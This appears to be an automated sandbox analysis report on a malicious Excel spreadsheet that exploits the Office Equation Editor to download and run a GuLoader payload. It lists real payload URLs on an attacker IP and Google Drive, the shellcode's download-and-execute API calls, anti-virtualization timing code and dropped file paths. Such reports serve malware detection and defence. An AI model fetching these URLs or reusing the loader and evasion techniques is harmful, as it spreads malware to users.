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Windows Analysis Report
yeni teklif talebi.xlsx

Overview

General Information

Sample Name:	yeni teklif talebi.xlsx
Analysis ID:	626603
MD5:	b32d7bac7fb9b903ea73a041f13d3b61
SHA1:	359458f03b700820c3b4f5fc1838ef7ea0d3cd14
SHA256:	35bfba75e0bc2a473ee9964f138acd21381ddf6fd196b35127a304fa61b87826
Tags:	VelvetSweatshopxlsx
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Sigma detected: File Dropped By EQNEDT32EXE

Multi AV Scanner detection for dropped file

Yara detected GuLoader

Snort IDS alert for network traffic

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Shellcode detected

Office equation editor drops PE file

Tries to detect virtualization through RDTSC time measurements

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Drops PE files to the user root directory

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to dynamically determine API calls

Downloads executable code via HTTP

Abnormal high CPU Usage

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to download and execute PE files

Office Equation Editor has been started

Contains functionality to download and launch executables

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 980 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 204 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2644 cmdline: "C:\Users\Public\vbc.exe" MD5: 5D160471A3168EAC0D8C34060B4F357B)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1wHFCph_Lr0nFivB5TOSebc-nHbiOVX9m"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1166385504.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 23.95.34.9, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 204, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49171

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 204, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe

Snort Signatures

ET TROJAN Possible Malicious Macro DL EXE Feb 2016 - Source IP: 192.168.2.22 - Destination IP: 23.95.34.9

Timestamp:	192.168.2.2223.95.34.949171802022550 05/14/22-15:22:35.305181
SID:	2022550
Source Port:	49171
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.1166385504.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1wHFCph_Lr0nFivB5TOSebc-nHbiOVX9m"}

Multi AV Scanner detection for submitted file

Source: yeni teklif talebi.xlsx

ReversingLabs: Detection: 21%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe	Virustotal: Detection: 38%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe	ReversingLabs: Detection: 24%
Source: C:\Users\Public\vbc.exe	ReversingLabs: Detection: 24%

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 23.95.34.9 Port: 80

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040699E FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A06EE ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A064D LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A06C0 URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A0667 URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A05C1 URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A06D9 ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A05DD URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A05A8 ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036A0713 ExitProcess,

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 23.95.34.9:80

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 23.95.34.9:80

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.22:49171 -> 23.95.34.9:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1wHFCph_Lr0nFivB5TOSebc-nHbiOVX9m

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 May 2022 13:22:35 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.0.18Last-Modified: Fri, 13 May 2022 13:26:01 GMTETag: "1dd5e-5dee49d9d61f9"Accept-Ranges: bytesContent-Length: 122206Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 00 40 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 f0 07 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 d0 07 00 10 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 03 02 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 05 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 10 1d 00 00 00 d0 07 00 00 1e 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /zaki/Komiten6.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.95.34.9Connection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036A064D LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.34.9

Source: EQNEDT32.EXE, 00000002.00000002.955663406.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.955663406.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: EQNEDT32.EXE, 00000002.00000002.955420240.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.95.34.9/zaki/Komiten6.exe
Source: EQNEDT32.EXE, 00000002.00000002.955909321.00000000036A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.34.9/zaki/Komiten6.exej
Source: EQNEDT32.EXE, 00000002.00000002.955420240.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.95.34.9/zaki/Komiten6.exemmC:
Source: vbc.exe, 00000004.00000002.1166019325.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.954551791.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, Komiten6[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3E1683BB.emf

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036A064D LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

System Summary

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00406D5F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_73BF1BFF

Source: C:\Users\Public\vbc.exe

Process Stats: CPU usage > 98%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 77740000 page execute and read and write

Source: yeni teklif talebi.xlsx

ReversingLabs: Detection: 21%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Source: C:\Users\Public\vbc.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$yeni teklif talebi.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR59A3.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@4/15@0/1

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: C:\Users\Public\vbc.exe

File written: C:\Users\user\AppData\Local\Temp\Overliggedagene225.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.1166385504.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\Public\vbc.exe

Code function: 4_2_73BF30C0 push eax; ret

Source: C:\Users\Public\vbc.exe

Code function: 4_2_73BF1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\nshD0AF.tmp\System.dll	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036A064D LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\Public\vbc.exe

RDTSC instruction interceptor: First address: 0000000003FB061D second address: 0000000003FB061D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDC78CA7226h 0x00000004 test bl, al 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FDC78CA718Eh 0x0000000a cmp edx, ecx 0x0000000c inc ebp 0x0000000d cmp ch, bh 0x0000000f inc ebx 0x00000010 rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1316

Thread sleep time: -420000s >= -30000s

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040699E FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node

Source: EQNEDT32.EXE, 00000002.00000002.955557864.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ??\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vbc.exe, 00000004.00000002.1166086256.000000000060D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\Public\vbc.exe

Code function: 4_2_73BF1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036A071A mov edx, dword ptr fs:[00000030h]

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\Public\vbc.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
